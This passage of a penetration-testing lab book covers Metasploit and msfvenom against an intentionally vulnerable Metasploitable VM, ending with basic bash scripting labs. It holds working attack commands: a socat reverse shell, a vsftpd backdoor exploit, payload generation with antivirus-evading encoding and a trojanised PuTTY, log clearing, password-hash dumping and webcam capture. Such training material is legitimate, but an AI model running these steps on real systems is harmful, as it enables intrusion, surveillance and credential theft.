connect to this listener. For this to work, our target must have socat installed.

We will now switch to our Metasploitable VM. The specific command we
will be typing into the terminal in our Metasploitable VM looks like the
following:

socat TCP:192.168.56.103:8080 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane

Do not break this command above using enter when typing into the terminal
screen!

The first section will connect the Metasploitable VM back to our Kali VM on
the port specified.



The EXEC:”bash -li” creates an interactive bash shell for us to use
pty allocates a pseudoterminal on the target, which is required

as part of the stabilisation process
stderr makes sure any error messages we may encounter get

shown in the shell, which doesn’t happen with a non-interactive
shell

sigint – If we hit ctrl + c while in the shell, it will now be passed
to any processes we are running in the shell, which allows us to
kill processes and commands in the shell

setsid will create the process in a new session
sane will stabilise the terminal and attempt to normalise it

If we return to our Kali terminal and attempt to execute commands such as
“id” and “whoami”, we can see that we have succesfully established a shell to
our metasploitable machine.

This is a fully stable reverse shell and it is also interactive, as you can see
interactive processes such as SSH will work. You will also notice that ctrl + c



will not kill the shell. You will also notice the msfadmin@metasploitable:~$
indicating that we have a fully featured shell on the target.

Socat can establish a more stable shell on a target with little effort. The main
problem with using this tool is ensuring that the target has the tool installed.



Lab 71. Upgrading a Limited Shell
to Meterpreter Shell Using

Metasploit

Lab Objective:
Learn how to upgrade a shell to Meterpreter using Metasploit.

Lab Purpose:
The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using Metasploite to create a stable shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware, the same
as Kali Linux. You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Metasploit comes pre-installed on Kali Linux. In this lab, we will be
establishing a shell on our Metasploitable VM using SSH, and then
upgrading this shell to a meterpreter shell using Metasploit. To begin this lab,
have both your Kali VM and Metasploitable VM up and running. For the
sake of good practice, we will begin by running a scan using Metasploit on
the target. To do this, we will first need to connect Metasploit to the database
by typing the following in our Kali terminal:

sudo msfdb init



Once this is done, we can then open the tool by typing the following:

sudo msfconsole

Once the tool is open, we can then run the following to scan our target:

db_nmap -sV 192.168.56.102



192.168.56.102 is the IP address of our Metasploitable VM in this instance.
You can find out the IP address of your Metasploitable VM by typing
“ifconfig” in its console.

Task 2:
Note that SSH is running on port 22. Once the scan is done, we will then
login to our Metasploitable VM through Metasploit using SSH. This can be
done by running the following set of commands:

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.56.102
set rport 22



set username msfadmin
set password msfadmin

Let’s break this set of commands down:

rhosts is the IP address of your Metasploitable VM which we
will be connecting to

rport is the port through which we will be connecting
The username and password specified will log us into the

Metasploitable VM using SSH

Once you have typed these commands, type the following to login through
SSH:

run

This will log us into the Metasploitable VM through SSH and will generate a
limited shell for us to interact with the machine.



Task 3:
We now want to upgrade this shell to a meterpreter shell, which will allow us
to perform a number of different actions on our target. We can do this by
using the following set of commands:

use post/multi/manage/shell_to_meterpreter
set session 1
run



This will upgrade our limited SSH shell to an unlimited meterpreter shell.
You can check the sessions which have been created by typing sessions into
the terminal. You will notice that there are now 2 sessions open; one for our
limited SSH shell and one for our unlimited meterpreter shell. We can switch
to our meterpreter shell by typing the following:

sessions -i 2



Lab 72. Exploiting a Vulnerable
FTP Service to Gain a Shell Using

Metasploit

Lab Objective:
Learn how to exploit a vulnerable FTP service to gain a shell using
Metasploit.

Lab Purpose:
The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux VM and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using Metasploite to create a stable shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware, the same
as Kali Linux. You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the

https://docs.rapid7.com/metasploit/metasploitable-2/


Metasploitable VM.

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Metasploit comes pre-installed on Kali Linux. In this lab, we will be
establishing a shell on our Metasploitable VM by exploliting a vulnerable
FTP service. The objective of this lab is to highlight the importance of
enumeration and to show you how a vulnerable service can be exploited
using Metasploit.

To begin, we will first scan our target with nmap using the following
command within Kali:

nmap -v -sC -sV 192.168.56.102 -oX Metasploitable.xml

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
You can find out the IP address of your own Metasploitable VM by typing
“ifconfig” in its console.



This will run a comprehensive scan on our Metasploitable machine. The -oX
command will save the output of this command to an XML file. Once the
scan is done, we can convet this xml file to a html file and then open it in
Firefox, making the results of the scan much easier to read. Use the following
command to do this:

xsltproc Metasploitable.xml -o Metasploitable.html

Once this is done, open this file in Firefox by typing the following command:

firefox Metasploitable.html

Task 3:
With the file open in Firefox, we can easily see what services are running as
well as their version. We are going to focus on port 21, where FTP is running
for this lab. We can see that there is a product called vsftpd running on this
port.



The next step is to open Metasploit in a new tab in Kali VM by typing the
following:

sudo msfconsole

We will now search the Metasploit database for any exploits related to this
vsftpd product by typing the following:

search vsftpd

You will notice that one exploit shows up with the rank of excellent. We will
use this exploit to get a shell on our Metasploitable VM.



Task 4:
Type the following to use the exploit:

use exploit/unix/ftp/vsftpd_234_backdoor

Once this is done, type “info” to see how this exploit is used and what it does.
This is a useful resource for learning about different exploits.

Then, type the following to complete the exploit:

set rhosts 192.168.56.102
run



This will run the exploit and will provide you with a shell on the
Metasploitable VM. We can see that we are also the “root” user on the
Metasploitable VM. This is an example of why enumeration is so important
in finding any vulnerable services, and discovering how to take advantage of
vulnerable services using Metasploit.



Lab 73. Running a Vulnerability
Scan with Nessus

Lab Objective:
Learn how to run a comprehensive vulnerability scan with Nessus.

Lab Purpose:
Nessus is a proprietary vulnerability scanner developed by Tenable Inc. The
tool allows security professionals to perform high-speed asset discovery,
target profiling, configuration auditing, malware detection, sensitive data
discovery, and more.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can
download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

https://docs.rapid7.com/metasploit/metasploitable-2/


We will use both Kali Linux and Metasploitable VM for this lab. Remember
to put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
First, put the Kali VM temporarily on “Bridged Network”, as we will
download Nessus tool from the internet. To install Nessus, we will have to
visit their site and first register for an activation code at the following link:
https://www.tenable.com/products/nessus/nessus-essentials

Enter your name and email here to receive the code. Once this is done, you
will be redirected to the download page for Nessus Essentials, which is the
free version.

https://www.tenable.com/products/nessus/nessus-essentials


We are installing the tool on Kali, so we want to pick the version called:

Nessus-8.13.2-debian6_amd64.deb

The numbers may change as the version of nessus is updated, the important
point is that you download the .deb package. Click the Checksum link on the



right hand and copy and paste the SHA256 string someware . Now, we will
calculate and check integrity of the downloaded file against the checksum
which is displayed on the web page. Open a Kali terminal screen, locate the
downloaded file, then type this command:

sha256sum Nessus-8.13.2-debian6_amd64.deb

Compare the calculated result with original hash value. If they match, we can
continue to our next task.

Task 3:
Once this is downloaded, navigate to your downloads folder and type the
following:

chmod +x Nessus-8.13.2-debian6_amd64.deb

This will allow us to execute the file. Then, type the following into your
terminal to unpack the tool:

sudo dpkg -i Nessus-8.13.2-debian6_amd64.deb

Once this is done, we then need to enable the Nessus service by typing the
following command:

sudo /bin/systemctl start nessusd.service

We will now be able to access the Nessus tool in our browser by navigating



to the following link:

https://kali:8834

Once here, you will be asked for your activation code as well as your name
and email that you entered on the Tenable site.

Once you enter these, you will be asked to set a username and password.
Once this is entered, we are now able to use the Nessus tool after a very long
initialization process. Be patient!

Task 4:
To begin, Nessus wants us to input a range of IP addresses so that we can
discover some targets to scan. Be sure your Kali VM is in “Host-only
Network” before starting the scan, so you can communicate with your target
Metasploitable VM.

https://kali:8834/


Select Metasploitable VM as a target victim from this list.

Then, hit the “Run Scan” button in the bottom right of the screen to start



scan.

Task 5:
The scan will take a few minutes to run as it discovers the numerous
vulnerabilities available on the Metasploitable machine. When finished, you
will be presented with a colour-coded bar of the different vulnerabilities
Nessus has found.

If you click on the IP address, you will be presented with a more detailed
overview of the vulnerabilities discovered with the most severe
vulnerabilities at the top of the list.

You can click on any of these vulnerabilities to discover why it is a
vulnerability and how it can be exploited.



Task 6:
We can filter the discovered vulnerabilities to focus on the vulnerabilities
which have known exploits available, which allows us to take advantage of
this information. This can be done by clicking the Filter button just below the
Vulnerabilities tab.

Once here, click on the first dropdown menu and select Exploit Available
from the list. Once this is done, click on the plus sign to the far right of the
last dropdown menu. Then, in the first dropdown menu in the second column,
select CVSS Base Score; in the middle dropdown menu select Is More Than;
and in the final textbox, enter the value 6. 

Click the Apply button on the bottom right to then see the list of
vulnerabilities discovered with exploits available where the exploit has a
CVSS Base Score of over 6.



We are now left with a list of vulnerabilities which we are able to exploit.
Click on the vulnerabilites to learn how they can be exploited and why they
are vulnerabilties in the first place.



Lab 74. Creating Metasploit
Payloads with Msfvenom

Lab Objective:
Learn how to create Metasploit payloads using Msfvenom.

Lab Purpose:
Msfvenom is a command line instance of Metasploit that is used to generate
payloads and can also encode them.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Both msfvenom and metasploit come pre-installed on Kali. We can view the
help screen for both tools by typing the following into our terminal:

msfvenom
msfconsole

In this lab, we will be learning how to generate payloads which can be
transferred to a target and used to establish a shell on that target through



Metasploit.

Task 2:
This is an easy tool to use as its syntax is the same no matter the payload
being created. The general syntax for this tool looks like the following:

msfvenom -p <payload> LHOST=<Listening IP> LPORT=<Listening port>

It’s as simple as that. I will list some examples of common payloads below
and explain them so that you get an understaning of how to create payloads
of your own.

We can view all payload options by typing the following command:

msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options

Payload 1 – Used for getting a reverse meterpreter shell on a Linux



Metasploitable target machine. Assume that our Kali IP address is
192.168.56.103 in this instance:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=5555 -f elf >
example.elf

Also, we can understand what type of executable is created by using the
“file” command.

Let’s break this command down:

-p specifies the payload we wish to use, this is specified in the
following format: OS (Linux)/Arch (x86)/Type of shell
(Meterpreter)/Type of connection (Reverse)

LHOST is the IP address which we want our target to connect
back to (our attack machine which is Kali VM)

LPORT is the port we want our target to connect to our
machine through

-f is the file type we wish to create, in this case elf
> specifies what we want our payload to be called

Payload 2 – Same as above, but now, we are using it to get a reverse



meterpreter shell on a Windows target:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.123 LPORT=443 -f exe -
o shell.exe

Assume that our victim Windows machine’s IP address is 192.168.56.123 in
this instance.

We can understand what type of executable is created by using the “file”
command.

The difference between this payload and the first payload is that we are
generating an EXE file instead of an ELF file.

Payload 3 – Used for getting a bind meterpreter shell on a Linux target:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=5555 -f elf > example.elf



We can understand what type of executable is created by using the “file”
command.

The command to generate this payload is different as we are generating a
bind shell. This means that our target will listen for us to connect to it, instead
of our target connecting back to use. Therefore, we do not need to supply an
IP address for this command as the target will not be connecting to anything.

Task 3:
We will now look at encoding a payload. Encoding can be used to help evade
IDS and Antivirus solutions, so that our payload is not caught and
quarantined before we can establish a shell on our target. Encoding a payload
is very easy. We can view all available encoders by typing the following:

msfvenom -l encoders



Encoded payload example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.123  LPORT=443 -e
x86/shikata_ga_nai -f exe -o payload.exe

Assume that our victim Windows machine’s IP address is 192.168.56.123 in
this instance;

The -e option is used to specify the type of enctyption we want to encrypt our



payload with. In this case, we have choosen the x86/shikata_ga_nai enctyption
option for our payload.

Task 4:
Finally, we can also create payloads using templates. This can be done with
the following syntax:

msfvenom -p [payload] LHOST=<IP address> LPORT=<Port> -x [template] -f [formattype] >
outputfile

In this command, -x is used to specify the template we want to use. The
following command is an example of creating a payload using the Putty
template.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.123  LPORT=443 -x
putty.exe -f exe > evilputty.exe

Assume that our victim Windows machine’s IP address is 192.168.56.123 in



this instance.

Task 5:
Now, to practice! You can practice creating different payload types and
trying to establish shells on your Windows or Metasploitable systems. We
will be covering how to do this in the next few labs.

You should also experiment with encrypting your payload. You can upload
your unencrypted payload to the following site to see the various different
Antivirus’ which flag your file as a virus: www.virustotal.com

http://www.virustotal.com/


Then, encrypt your payload and upload it again. Notice how some Antivirus
engines do not pick up on the payload as a virus? Payloads can be enctyped
multipile times to further reduce the risk of detection.



Lab 75. Establishing a Reverse Shell
on a Linux Target Using Msfvenom

and Metasploit

Lab Objective:
Learn how to establish a reverse shell on a Linux target using Msfvenom and
Metasploit.

Lab Purpose:
Msfvenom is a command line instance of Metasploit that is used to generate
payloads and can also encode them. How payloads are produced for different
purposes is explained in detail in lab 74. It is recommended that you look
there for more information.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can



download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Both msfvenom and metasploit come pre-installed on Kali. We can view the
help screen for both tools by typing the following into our terminal:

msfvenom
msfconsole

In this lab, we will be generating a reverse shell payload using “msfvenom” and
then using Metasploit to establish a listener. The goal is to establish a shell on
our Metasploitable VM.

Task 3:
To begin, we will first need to create a payload for our Metasploitable VM.
To do this, we will use the following command:

https://docs.rapid7.com/metasploit/metasploitable-2/


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=5555 -f elf -o
reverse-sh.elf

192.168.56.103 is the IP address of our Kali VM in this instance.

Once this is done, type “file reverse-sh.elf ” in your terminal and you should see
details of the payload file you just created in your home directory.

Task 4:
In this step, we will somehow place the payload file on the target machine.
Make sure Metasploitable VM is up and running. In this case, we will be
transfering the file through FTP. To do this, open a terminal in Kali VM and
type the following (1):

ftp 192.168.56.102

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
When asked, enter msfadmin as the username and password (2).

We will use the “put“command in FTP to send the payload file to the target
machine (3). Next, to the “put” command; we will write the name of the
payload file which is “reverse-sh.elf” in this case. After the transfer is complete,
let’s make sure that the payload file is at the target location by typing “ls” (4).
Finally, we end the FTP session by typing “by” (5).



Our evil binary file has been placed on the victim machine now.

Task 5:
We then need to make this file executable on our Metasploitable VM. In our
Kali terminal screen, type the following (1):

ssh msfadmin@192.168.56.102

Type yes when asked if you are sure you want to connect to this host. Then,
type msfadmin for the password when prompted (2). We are now connected to
our Metasploitable VM through SSH.

mailto:msfadmin@192.168.56.102


We can now make the payload executable by typing the following (3):

chmod +x reverse-sh.elf

Once this is done, leave the SSH connection to our Metasploitable VM open,
and open a new terminal. We will now need to establish the listener for the
reverse connection which our payload will be sending to our machine.

Task 6:
To establish the listener, we will be using Metasploit. Start the tool by typing
the following in Kali VM:

msfconsole

Then, type the following command to specify that we want to use a listener
(1):

use exploit/multi/handler

Once the multi/handler is selected, we need to specify three things: the local
host, the local port, and the payload type. We can do this by typing the
following commands into the terminal (2,3,4):

set lhost 192.168.56.103
set lport 5555
set payload linux/x86/meterpreter/reverse_tcp

Once these commands are entered, you can then type “run” to start the listener



(5). You should see something like the following screenshot.

Task 7:
Finally, we can execute the payload on our target. Navigate back to terminal
screen with the established SSH connection. Then, type the following:

./reverse-sh.elf

Once you hit enter, return to the terminal screen which is running the
Metasploit listener. You will see a meterpreter session has started and is now
open (1). We have sucessfully established a stable shell! We can access the
shell by typing “shell” into meterpreter (2). We can return to the Meterpreter
interface from the shell by typing “exit” into the shell.





Lab 76. Establishing a Bind Shell on
a Linux Target Using Msfvenom

and Metasploit

Lab Objective:
Learn how to establish a bind shell on a Linux target using Msfvenom and
Metasploit.

Lab Purpose:
Msfvenom is a command line instance of Metasploit that is used to generate
payloads and can also encode them. How payloads are produced for different
purposes is explained in detail in lab 74. It is recommended that you look
there for more information.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can



download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Both msfvenom and metasploit come pre installed on Kali. We can view the
help screen for both tools by typing the following into our terminal:

msfvenom
msfconsole

In this lab, we will be generating a bind shell payload using msfvenom, and then
using Metasploit to establish a handler which will connect to the target. The
goal is to establish a shell on our Metasploitable VM.

Task 3:
To begin, we will first need to create a payload for our Metasploitable VM.
To do this, we will use the following command:

https://docs.rapid7.com/metasploit/metasploitable-2/


msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=5555 -f elf -o bind.elf

Once this is done, type “file bind.elf ” in your terminal and you should see
details of the payload file you just created in your home directory.

Task 4:
In this step, we will somehow place the payload file on the target machine.
Make sure Metasploitable VM is up and running. In this case, we will be
transfering the file through FTP. To do this, open a terminal in Kali VM and
type the following (1):

ftp 192.168.56.102

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
When asked, enter msfadmin as the username and password (2).

We will use the “put“ command in FTP to send the payload file to the target
machine (3). Next to the “put” command, we will write the name of the
payload file, which is “bind.elf” in this case. After the transfer is complete, let’s
make sure that the payload file is at the target location by typing “ls” (4).
Finally, we end the FTP session by typing “by” (5).



Our evil binary file has been placed on the victim machine now.

Task 5:
We then need to make this file executable on our Metasploitable VM. In our
Kali terminal screen type the following (1):

ssh msfadmin@192.168.56.102

mailto:msfadmin@192.168.56.102


Type yes when asked if you are sure you want to connect to this host. Then,
type msfadmin for the password when prompted (2). We are now connected to
our Metasploitable VM through SSH.

We can now make the payload executable by typing the following (3):

chmod +x bind.elf

Once this is done, leave the SSH connection to our Metasploitable VM open
and open a new terminal. We will now need to establish the handler which
will connect to our target, which will be listening for our connection when
our payload is executed.

Task 6:
To establish the handler, we will be using Metasploit. Start the tool by typing
the following:

msfconsole

Then type the following command to specify that we want to establish a
handler (1):

use exploit/multi/handler

Once the multi/handler is selected, we need to specify three things: the



remote host which we want to connect to, the local port, and the payload
type. We can do this by typing the following commands into the terminal
(2,3,4):

set rhost 192.168.56.102
set lport 5555
set payload linux/x86/meterpreter/bind_tcp

Once these commands are entered, we will then go back to our SSH
connection screen with our Metasploitable VM.

Task 7:
Finally, we can execute the payload on our target. Navigate back to the tab
with the established SSH connection. Then, type the following:

./bind.elf

Once you hit enter, return to the tab which has the Metasploit handler open
and type “run” (1). Metasploit will then connect to the target and send the
exploit stage; we will then have a meterpreter shell on our target.



When we execute our payload on the Metasploitable VM, we establish a
listener on port 5555 on our target. The handler then connects to our target on
port 5555, and sends the stage to establish a shell (2). This is how bind shells
work.

You will see a meterpreter session has been started and is now open. We have
sucessfully established a stable shell! We can access the shell by typing “shell“
into meterpreter (3). Type “whoami” and “id” commands in this remote shell
(4). We can return to the Meterpreter interface from the shell by typing “exit“
into the shell (5).



Lab 77. Basic Meterpreter
Commands

Lab Objective:
Learn some basic Meterpreter commands which can be used once a shell has
been established on our target.

Lab Purpose:
Meterpreter is a Metasploit attack payload that provides an interactive shell
from which an attacker can explore the target machine and execute code.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab. Since this lab requires active
Meterpreter command shell access, it should be studied immediately after the
end of lab 75 or lab 76.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentioally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can
download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

https://docs.rapid7.com/metasploit/metasploitable-2/


You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
In this lab, we will be learning about the post exploitation tool “meterpreter”.
Our main focus will be going over some basic and most useful commands
this tool supports. To begin, we can view the help screen for this tool with the
following command:

help



Task 3:
We can background any meterpreter shell by typing the following (1):

background

This will return us to the msf prompt where we use different exploits. We can
return to our meterpreter session simply interacting with the shell again. This
is done by first typing sessions to view which sessions are open and then
typing the following (2):

sessions -i 1

Task 4:
We can display the contents of any file with the following command (1):



cat readme.txt

We can change to a different directory on our target by typing the following
(2):

cd vulnerable

We can display the contents of any directory with the following command
(3):

ls

We can also display the current working directory on the target (the directory
we are in) by typing the following (4):

pwd

Task 5:
This next command is very useful for when we have an established shell on a
Windows machine. This command will clear the “Application, System and
Security Logs” on a Windows system. There are no options or arguments



required:

clearev

Task 6:
We can download any file from the target machine to our Kali machine by
typing the following:

download samba

Task 7:
We can edit any file on the target by using the following command:

edit readme.txt

This command will use the vim as editor.

Task 8:
We can run commands on the target by using the following command:

execute -f ssh -i -H

The command above will start the cmd process on our target and allow us to



interact with this process.

Task 9:
We can display the user that the meterpreter server is running as on the host
with this command (1):

getuid

This is useful to know if you are simply a user or root on the system (2).

Task 10:
Finally, we can use the following command to display the network interfaces
and addresses on the target machine:

ifconfig





Lab 78. More Advanced
Meterpreter Commands

Lab Objective:
Learn some more advanced Meterpreter commands which can be used once a
shell has been established on our target.

Lab Purpose:
Meterpreter is a Metasploit attack payload that provides an interactive shell
from which an attacker can explore the target machine and execute code.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM

Lab Topology:
You can use Kali Linux in a VM for this lab. Since this lab requires active
Meterpreter command shell access, it should be studied immediately after the
end of lab 75 or lab 76.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware the same as Kali Linux. You can
download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

https://docs.rapid7.com/metasploit/metasploitable-2/


You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
In this lab, we will be learning about the post-exploitation tool, Meterpreter.
We will be covering some of the more advanced commands associated with
this tool.

When we have established a Meterpreter shell on a Windows machine, we
are able to dump the contents of the Security Acounts Manager (SAM)
database using the following command:

run post/windows/gather/hashdump



The SAM will contain hashes of the Windows machines passwords.

Task 3:
We can use the following command to display the local working directory:

lpwd

The local working directory is the location where the Metasploit console was
started on our target.

Task 4:
We can change the local working directory using the following command:

lcd /tmp

This will give our Meterpreter session access to files located in this folder.

Task 5:
When we establish a Meterpreter shell on the target, we are starting the shell
on a process which is running on the target. We can migrate the shell to
another process on the target machine using the followig command:

run post/windows/manage/migrate



This will help with evading detection as well as establishing persistence.

Task 6:
We can display a list of the running processes on the target using the
following command:

ps

This is useful when deciding which process to migrate the Meterpreter shell
to.



Task 7:
We can use the following command to execute Meterpreter instructions
located inside a text file:

resource

The resource command will execute Meterpreter instructions located inside a
text file. Containing one entry per line, resource will execute each line in
sequence. This can help automate repetitive actions performed by a user.

Task 8:
We can use the following command to upload files to the target system:

upload

We will need to use double-slashes with this command if remote target is a
windows machine.

Task 9:
We are able to display all currently available webcams on the target host
using the following command:

webcam_list



Task 10:
Finally, we are also able to grab a picture from a connected web cam on the
target system and save it to disc as a JPEG file:

webcam_snap

By default, the save location is the local current working directory with a
randomized filename.



Lab 79. Introduction to Bash
Scripting

Lab Objective:
Learn some basic bash scripting.

Lab Purpose:
Bash is a Unix shell and command language. It is a free software replacement
for the Bourne Again Shell. It is used as the default login shell for most
Linux distributions.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be running through a basic introduction to scripting with
Bash.

To begin, we will create a very simple bash script. You should know that
every bash script will always begin with the following line of code at the top:

#!/bin/bash

This code is used to tell your shell that it needs to use bash to run the file.

With this established, let’s write our first very basic script which is called, for



example, “sample01.sh”. We can do this by copying the following and pasting it
into a new file in Kali VM:

#!/bin/bash
echo “Hello!”
pwd
id

Make sure to include the first line of code at the top to tell our terminal to run
this file using bash.

In order to run this file, we first need to make it executable on our system.
We can do this by typing the following:

chmod +x sample01.sh

To execute the script, type the following:

./sample01.sh



As you can see, the commands we have entered in the script have executed in
the console.

Task 2:
We will now learn about variables in bash. A variable is a symbol which
functions as a placeholder for varying expressions or quantities. Variables are
often used to store numbers as well as vectors, metrices, and functions.
Essentially, they are used to store information.

Create a new script which is named “sample02.sh”. Note that we will need to
type a dollar sign before the variable when calling it in order to use it. We
will now edit our script to include two variables by typing the following:

#!/bin/bash
name=”John”
lastname=”Smith”
echo $name,$lastname



chmod +x sample02.sh

Then, execute your script by typing:

./sample02.sh

As you can see, using variables and then calling them using echo is the same
as typing echo “John, Smith”.

Task 3:
We will now learn about debugging the code in our script. We can perform
debugging by adding the following into our code:

set -x
<code here>
set +x

Debugging allows us to step through our code and determine if there are any
mistakes. Now, create another script file with standard headline:

#!/bin/bash
name=”John”
set -x
echo $name



set +x

chmod +x sample03.sh
./sample03.sh

Save this file and run it. As you can see, this will output a + before every
command as it is executed. If there was an error in one of the commands, it
would output a – before the command. This makes it easy for us to find the
error and correct it.



Lab 80. More Bash Scripting

Lab Objective:
Learn some more bash scripting concepts.

Lab Purpose:
Bash is a Unix shell and command language. It is a free software replacement
for the Bourne Again Shell. It is used as the default login shell for most
Linux distributions.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be running through some more concepts around scripting
with Bash.

We will begin by looking at parameters. The official definition of a parameter
is that a parameter is a special kind of variable in that it is used to pass
information between functions or procedures.

We will begin by creating a new script file with nano editor. Enter the
following:

#!/bin/bash
name=$1
echo $name



chmod +x sample04.sh

Once this is done, save the file and close it. Now, run the file:

./sample04.sh

You will notice that we receive no output. Now, type the following:

./sample04.sh John

We receive “John” as output. This is because, when using parameters, we
need to supply them with information. Note: the information passed to a
parameter is called an argument.

If we want to get the third argument (the third piece of information passed to
the parameter), we will first need to change the code in our script. We will
simply be replacing the $1 with $3, which should make our script look like
the following:

Now, run the script with the following command:



./sample04.sh John Mark Lee

Note that we are now getting the third argument returned to us in the
terminal.

Task 2:
We can create another script file so that the user is prompted to enter a value
when the script is run. We can do this using “read”. Read will cause the code
to hand and wait for the user to input a value before continuing. Edit your
script so that it looks like the following:

#!/bin/bash
echo Enter your age:
read age
echo “Your age is $age!”



chmod +x sample05.sh

Now run the script. Enter a number when prompted by the script.

You will notice that the script takes the number input by us and returns it in a
sentence. Read is a very useful function in this regard.

Task 3:
You may be asking, what if we wanted to store multiple values in one
variable? We don’t need to create a variable for every piece of data we want
to store as you may think. Instead, we can use arrays to store multiple values.
We can then use an index to extract the pieces of data from the array. It is
important to note that because arrays use indexing, the first value entered in
an array will always start at zero. i.e if you input 1,2,3 into an array, the first
number (1) will be located at index 0 in the array. The second number (2)
will be located at index 1 in the array etc.

Let’s create our first array. Create a new script to include the following:

#!/bin/bash
names=(‘John’ ‘Mark’ ‘Lee’)
echo “${names[@]}”



Let’s break these two lines of code down:

The names = section specifies the array and stores the variables included.

The echo section calls each piece of data included in the array. Note the
different brackets used to call the array contents. The @ will call every piece
of data in the array. The [] are used to specify the index of the piece of data
we are calling.

Run this code now and note the output.

Now, what if we wanted to simply return the value “Lee” from the array? We
would edit our script to look like the following:

echo “${names[2]}”

Task 4:
If we want to remove a value from our array, we can use the unset command:

#!/bin/bash
names=(‘John’ ‘Mark’ ‘Lee’)
echo “${names[@]}”



unset names[1]
names[1]=’Michael’
echo “${names[@]}”

unset names[1]

This will remove the name Mark from the array.

